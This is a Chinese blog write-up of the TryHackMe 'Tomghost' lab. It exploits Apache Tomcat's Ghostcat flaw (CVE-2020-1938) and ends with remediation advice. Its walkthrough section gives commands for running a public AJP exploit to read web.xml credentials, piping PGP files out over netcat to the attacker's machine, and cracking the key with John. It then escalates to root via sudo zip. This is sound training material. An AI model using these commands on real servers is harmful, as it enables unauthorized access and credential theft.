以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试

以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试

文章目录

  • 以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试
  • 1. 概述
    • 1.1 Apache Tomcat
    • 1.2 漏洞简述
    • 1.3 风险等级
    • 1.4 影响范围
    • 1.5 漏洞详情
  • 2. 环境配置
    • 2.1 方案一: Tryhackme线上虚拟环境
    • 2.2 方案二
  • 3. 漏洞复现
    • 3.1 Initial Recon
      • 3.2 Gaining Access
      • 3.3 Privilege Escalation
  • 4. 修复建议
  • 5. 总结
  • 6. References

1. 概述

1.1 Apache Tomcat

Tomcat服务器是一个免费的开放源代码的Web应用服务器,被普遍使用在轻量级Web应用服务的构架中。 Tomcat提供了可以在其中运行Java代码的“纯Java” HTTP Web服务器环境。

1.2 漏洞简述

CVE-2020-1938是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

1.3 风险等级

评定方式 等级
CVSS Score 7.5
Confidentiality Impact Partial
Integrity Impact Partial
Availability Impact Partial
实现难度
基础权限 不需要
漏洞类型 Execute Code

以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第1张图片

1.4 影响范围

以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第2张图片

1.5 漏洞详情

参见Apache Tomcat CVE-2020-1938,细思极恐&Apache Tomcat任意文件读取漏洞和命令执行漏洞源码分析

2. 环境配置

2.1 方案一: Tryhackme线上虚拟环境

在这里插入图片描述

2.2 方案二

3. 漏洞复现

3.1 Initial Recon

  1. 使用Nmap扫描,发现Apache运行在8080端口,8009端口运行ajp服务,
    nmap -sV -sC -T4

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第3张图片

    首页就是Apache的默认页面,没啥有用的,其他页面也无法访问

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第4张图片

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第5张图片

  2. Google或Hackticks搜索AJP的相关内容

    1. Google后GitHub上发现可以越权读取web.xml文件的EXP
    2. Hackticks也提供了利用代码(需要修改,本文采用方法一)

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第6张图片

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第7张图片

3.2 Gaining Access

  1. 下载方法一提供的EXP

    wget https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第8张图片

  2. 运行EXP,获得了一个用户名和密码

    python3 ajpShooter.py http://10.10.76.159 8009 /WEB-INF/web.xml read

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第9张图片

  3. 使用上文获得的用户名和密码进行ssh登录,并发现有两个貌似可以利用的文件:.pgp和.asc!

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第10张图片
    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第11张图片

  4. 为了更好的读取两个文件使用nc将他们传到kali上,然后进行base64解码

    base64 credential.pgp | nc 10.9.17.195 1234

    base64 tryhackme.asc | nc 10.9.17.195 1234

    nc -nvlp 1234 > credential.pgp.b64

    nc -nvlp 1234 > tryhackme.asc.b64

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第12张图片

  5. 猜测这个在asc文件中的PGP key是用来打开pgp文件的,那么先来尝试破解这个asc文件,将其转换为hash,然后使用John破解

    base64 -d credential.pgp.b64 > credential.pgp

    base64 -d tryhackme.asc.b64 > tryhackme.asc

    gpg2john tryhackme.asc > tryhackme.asc.john

    john --wordlist=/usr/share/wordlists/rockyou.txt tryhackme.asc.john

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第13张图片

  6. 得到密码后,将破解的key导入到asc文件,然后输入得到的密码,最后得到解密后的pgp文件,发现另外一个用户名

    gpg --import tryhackme.asc

    gpg --decrypt credential.pgp

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第14张图片

3.3 Privilege Escalation

  1. 使用新获得的用户名和密码ssh登录,使用sudo命令查看当前权限,发现当前用户能够以root权限运行zip并且不需要密码

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第15张图片

  2. 使用GTFObins提供的方法进行提权

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第16张图片

    以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试_第17张图片

4. 修复建议

  1. 临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉
  2. 将tomcat升级到9.0.31、8.5.51或者7.0.100版本
  3. 配置secret来设置AJP协议的认证凭证

5. 总结

Apache Tomcat CVE-2020-1938这个漏洞确实凶猛,攻击者可以读取到webapp目录下的任意文件,包括war包。而war包里有properties文件,不少开发团队都把连接数据库的用户名密码、JWT 签名secret、加解密密钥等重要信息放在这个文件里。这个漏洞的存在,允许攻击者可以最终读取到这些密钥数据,当然源码也是能通过反编译war包里的class文件得到的。

为了避免密钥泄露,常规做法(不要硬编码密钥到源代码、密钥单独放置在properties文件并且和源代码分别存储在不同的代码仓库)并不奏效,更为妥善的办法是使用密钥管理服务,你可以直接使用云服务提供商的密钥管理服务,也可以自己搭建一个。

安全原则是很重要的,尤其是最小权限和纵深防御原则。在这个漏洞案例中,就算你使用的Tomcat有问题,但由于相关端口已经关闭,而且还有好几层的网络映射和路由配置的防御,所以也不会受到影响。当然,第三方组件安全管理、安全补丁管理、实施端口监控等手段也有助于减轻或避免这个漏洞带来的影响。

6. References

CVE Details (2020) CVE-2020-1938. Available at: https://www.cvedetails.com/cve/CVE-2020-1938/…(Accessed: 22 Oct 2022).

你可能感兴趣的:(漏洞复现,Tryhackme,tomcat,apache,安全,网络安全)